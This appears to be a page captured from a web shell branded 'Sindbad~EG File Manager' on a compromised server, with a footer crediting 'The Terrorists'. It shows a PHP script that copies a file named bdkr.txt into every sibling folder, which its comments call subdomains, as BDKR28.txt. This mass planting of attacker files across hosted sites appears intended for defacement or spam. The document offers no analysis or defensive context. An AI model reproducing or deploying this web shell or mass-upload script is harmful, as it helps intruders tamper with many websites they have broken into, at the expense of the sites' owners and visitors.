Sindbad~EG File Manager
<?php
// Step 1: Go one folder back
$bmPath = realpath(__DIR__ . '/../');
// Step 2: Path to the file you want to upload
$fileToUpload = __DIR__ . '/bdkr.txt'; // make sure bdkr.txt exists
// Step 3: Read file content
if (!file_exists($fileToUpload)) {
die('bdkr.txt not found!');
}
$fileContent = file_get_contents($fileToUpload);
// Step 4: Get all folders (subdomains)
$folders = array_filter(glob($bmPath . '/*'), 'is_dir');
// Step 5: Upload to each folder and print clean result
foreach ($folders as $folder) {
$folderName = basename($folder); // only the folder name
$destinationFile = $folder . '/BDKR28.txt';
if (file_put_contents($destinationFile, $fileContent)) {
echo "$folderName/BDKR28.txt<br>"; // ONLY clean folder + file name
}
}
?>
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists